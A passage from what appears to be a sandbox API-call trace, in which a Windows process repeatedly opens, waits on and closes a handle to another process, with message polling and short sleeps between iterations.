(dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.399] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.415] CloseHandle (hObject=0xbb4) returned 1 [0265.415] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.415] Sleep (dwMilliseconds=0x1) [0265.430] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.430] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.446] CloseHandle (hObject=0xbb4) returned 1 [0265.446] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.446] Sleep (dwMilliseconds=0x1) [0265.463] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.463] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.472] CloseHandle (hObject=0xbb4) returned 1 [0265.472] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.473] Sleep (dwMilliseconds=0x1) [0265.474] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.474] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.499] CloseHandle (hObject=0xbb4) returned 1 [0265.499] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.499] Sleep (dwMilliseconds=0x1) [0265.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.514] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.530] CloseHandle (hObject=0xbb4) returned 1 [0265.530] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.530] Sleep (dwMilliseconds=0x1) [0265.546] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbb4 [0265.546] WaitForSingleObject (hHandle=0xbb4, dwMilliseconds=0xa) returned 0x102 [0265.561] CloseHandle (hObject=0xbb4) returned 1 [0265.561] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.561] Sleep (dwMilliseconds=0x1) [0265.577] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0265.577] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0265.592] CloseHandle (hObject=0xbc0) returned 1 [0265.592] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.592] Sleep (dwMilliseconds=0x1) [0265.687] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0265.687] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0265.702] CloseHandle (hObject=0xbc0) returned 1 [0265.702] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.702] Sleep (dwMilliseconds=0x1) [0265.721] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0265.722] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0265.733] CloseHandle (hObject=0xbc0) returned 1 [0265.733] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.733] Sleep (dwMilliseconds=0x1) [0265.770] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0265.770] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0265.780] CloseHandle (hObject=0xbc0) returned 1 [0265.780] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.780] Sleep (dwMilliseconds=0x1) [0265.796] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0265.796] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0265.812] CloseHandle (hObject=0xbc0) returned 1 [0265.812] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.812] Sleep (dwMilliseconds=0x1) [0265.827] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0265.827] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0265.844] CloseHandle (hObject=0xbc0) returned 1 [0265.844] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.844] Sleep (dwMilliseconds=0x1) [0265.858] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0265.858] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0265.874] CloseHandle (hObject=0xbc0) returned 1 [0265.874] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.874] Sleep (dwMilliseconds=0x1) [0265.889] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0265.889] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0265.905] CloseHandle (hObject=0xbc0) returned 1 [0265.905] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.905] Sleep (dwMilliseconds=0x1) [0265.921] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0265.921] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0265.945] CloseHandle (hObject=0xbc0) returned 1 [0265.945] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.945] Sleep (dwMilliseconds=0x1) [0265.952] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0265.952] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0265.967] CloseHandle (hObject=0xbc0) returned 1 [0265.968] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.968] Sleep (dwMilliseconds=0x1) [0265.983] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0265.983] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0265.999] CloseHandle (hObject=0xbc0) returned 1 [0265.999] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0265.999] Sleep (dwMilliseconds=0x1) [0266.015] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.015] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.030] CloseHandle (hObject=0xbc0) returned 1 [0266.030] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.030] Sleep (dwMilliseconds=0x1) [0266.047] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.047] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.061] CloseHandle (hObject=0xbc0) returned 1 [0266.061] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.061] Sleep (dwMilliseconds=0x1) [0266.077] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.077] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.093] CloseHandle (hObject=0xbc0) returned 1 [0266.093] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.093] Sleep (dwMilliseconds=0x1) [0266.108] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.108] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.124] CloseHandle (hObject=0xbc0) returned 1 [0266.124] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.124] Sleep (dwMilliseconds=0x1) [0266.140] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.140] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.155] CloseHandle (hObject=0xbc0) returned 1 [0266.155] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.155] Sleep (dwMilliseconds=0x1) [0266.170] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.171] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.186] CloseHandle (hObject=0xbc0) returned 1 [0266.186] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.186] Sleep (dwMilliseconds=0x1) [0266.202] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.202] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.218] CloseHandle (hObject=0xbc0) returned 1 [0266.218] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.218] Sleep (dwMilliseconds=0x1) [0266.234] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.234] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.249] CloseHandle (hObject=0xbc0) returned 1 [0266.249] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.249] Sleep (dwMilliseconds=0x1) [0266.314] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.314] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.327] CloseHandle (hObject=0xbc0) returned 1 [0266.327] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.327] Sleep (dwMilliseconds=0x1) [0266.342] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.342] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.358] CloseHandle (hObject=0xbc0) returned 1 [0266.358] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.358] Sleep (dwMilliseconds=0x1) [0266.374] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.374] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.390] CloseHandle (hObject=0xbc0) returned 1 [0266.390] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.390] Sleep (dwMilliseconds=0x1) [0266.405] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.405] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.421] CloseHandle (hObject=0xbc0) returned 1 [0266.421] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.421] Sleep (dwMilliseconds=0x1) [0266.436] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.436] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.452] CloseHandle (hObject=0xbc0) returned 1 [0266.452] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.452] Sleep (dwMilliseconds=0x1) [0266.467] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.467] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.483] CloseHandle (hObject=0xbc0) returned 1 [0266.483] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.483] Sleep (dwMilliseconds=0x1) [0266.499] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.499] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.516] CloseHandle (hObject=0xbc0) returned 1 [0266.516] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.516] Sleep (dwMilliseconds=0x1) [0266.531] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.531] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.546] CloseHandle (hObject=0xbc0) returned 1 [0266.546] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.546] Sleep (dwMilliseconds=0x1) [0266.561] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.561] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.577] CloseHandle (hObject=0xbc0) returned 1 [0266.577] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.577] Sleep (dwMilliseconds=0x1) [0266.592] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.592] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.608] CloseHandle (hObject=0xbc0) returned 1 [0266.608] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.608] Sleep (dwMilliseconds=0x1) [0266.624] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.624] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.639] CloseHandle (hObject=0xbc0) returned 1 [0266.639] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.639] Sleep (dwMilliseconds=0x1) [0266.655] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.655] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.671] CloseHandle (hObject=0xbc0) returned 1 [0266.671] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.671] Sleep (dwMilliseconds=0x1) [0266.686] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.686] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.702] CloseHandle (hObject=0xbc0) returned 1 [0266.702] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.702] Sleep (dwMilliseconds=0x1) [0266.718] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.718] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.733] CloseHandle (hObject=0xbc0) returned 1 [0266.733] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.733] Sleep (dwMilliseconds=0x1) [0266.908] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.908] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.921] CloseHandle (hObject=0xbc0) returned 1 [0266.921] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.921] Sleep (dwMilliseconds=0x1) [0266.942] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.942] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.952] CloseHandle (hObject=0xbc0) returned 1 [0266.952] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.952] Sleep (dwMilliseconds=0x1) [0266.967] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.967] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0266.983] CloseHandle (hObject=0xbc0) returned 1 [0266.983] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0266.983] Sleep (dwMilliseconds=0x1) [0266.999] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0266.999] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0267.014] CloseHandle (hObject=0xbc0) returned 1 [0267.014] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.014] Sleep (dwMilliseconds=0x1) [0267.030] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbc0 [0267.030] WaitForSingleObject (hHandle=0xbc0, dwMilliseconds=0xa) returned 0x102 [0267.046] CloseHandle (hObject=0xbc0) returned 1 [0267.046] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.046] Sleep (dwMilliseconds=0x1) [0267.062] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbcc [0267.062] WaitForSingleObject (hHandle=0xbcc, dwMilliseconds=0xa) returned 0x102 [0267.077] CloseHandle (hObject=0xbcc) returned 1 [0267.077] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.077] Sleep (dwMilliseconds=0x1) [0267.093] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbcc [0267.093] WaitForSingleObject (hHandle=0xbcc, dwMilliseconds=0xa) returned 0x102 [0267.108] CloseHandle (hObject=0xbcc) returned 1 [0267.108] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.108] Sleep (dwMilliseconds=0x1) [0267.124] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbcc [0267.124] WaitForSingleObject (hHandle=0xbcc, dwMilliseconds=0xa) returned 0x102 [0267.139] CloseHandle (hObject=0xbcc) returned 1 [0267.139] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.139] Sleep (dwMilliseconds=0x1) [0267.155] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbdc [0267.155] WaitForSingleObject (hHandle=0xbdc, dwMilliseconds=0xa) returned 0x102 [0267.171] CloseHandle (hObject=0xbdc) returned 1 [0267.171] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.171] Sleep (dwMilliseconds=0x1) [0267.186] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbdc [0267.186] WaitForSingleObject (hHandle=0xbdc, dwMilliseconds=0xa) returned 0x102 [0267.202] CloseHandle (hObject=0xbdc) returned 1 [0267.202] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.202] Sleep (dwMilliseconds=0x1) [0267.221] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbe0 [0267.221] WaitForSingleObject (hHandle=0xbe0, dwMilliseconds=0xa) returned 0x102 [0267.233] CloseHandle (hObject=0xbe0) returned 1 [0267.234] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.234] Sleep (dwMilliseconds=0x1) [0267.249] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbe0 [0267.249] WaitForSingleObject (hHandle=0xbe0, dwMilliseconds=0xa) returned 0x102 [0267.264] CloseHandle (hObject=0xbe0) returned 1 [0267.264] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.264] Sleep (dwMilliseconds=0x1) [0267.281] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbe4 [0267.281] WaitForSingleObject (hHandle=0xbe4, dwMilliseconds=0xa) returned 0x102 [0267.297] CloseHandle (hObject=0xbe4) returned 1 [0267.297] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.297] Sleep (dwMilliseconds=0x1) [0267.315] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbe4 [0267.315] WaitForSingleObject (hHandle=0xbe4, dwMilliseconds=0xa) returned 0x102 [0267.327] CloseHandle (hObject=0xbe4) returned 1 [0267.327] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.327] Sleep (dwMilliseconds=0x1) [0267.342] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbe4 [0267.342] WaitForSingleObject (hHandle=0xbe4, dwMilliseconds=0xa) returned 0x102 [0267.364] CloseHandle (hObject=0xbe4) returned 1 [0267.364] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.364] Sleep (dwMilliseconds=0x1) [0267.375] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbe4 [0267.375] WaitForSingleObject (hHandle=0xbe4, dwMilliseconds=0xa) returned 0x102 [0267.389] CloseHandle (hObject=0xbe4) returned 1 [0267.389] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.389] Sleep (dwMilliseconds=0x1) [0267.405] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbe4 [0267.405] WaitForSingleObject (hHandle=0xbe4, dwMilliseconds=0xa) returned 0x102 [0267.421] CloseHandle (hObject=0xbe4) returned 1 [0267.421] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.421] Sleep (dwMilliseconds=0x1) [0267.436] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbe4 [0267.436] WaitForSingleObject (hHandle=0xbe4, dwMilliseconds=0xa) returned 0x102 [0267.452] CloseHandle (hObject=0xbe4) returned 1 [0267.452] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.452] Sleep (dwMilliseconds=0x1) [0267.467] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbe4 [0267.467] WaitForSingleObject (hHandle=0xbe4, dwMilliseconds=0xa) returned 0x102 [0267.483] CloseHandle (hObject=0xbe4) returned 1 [0267.483] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.483] Sleep 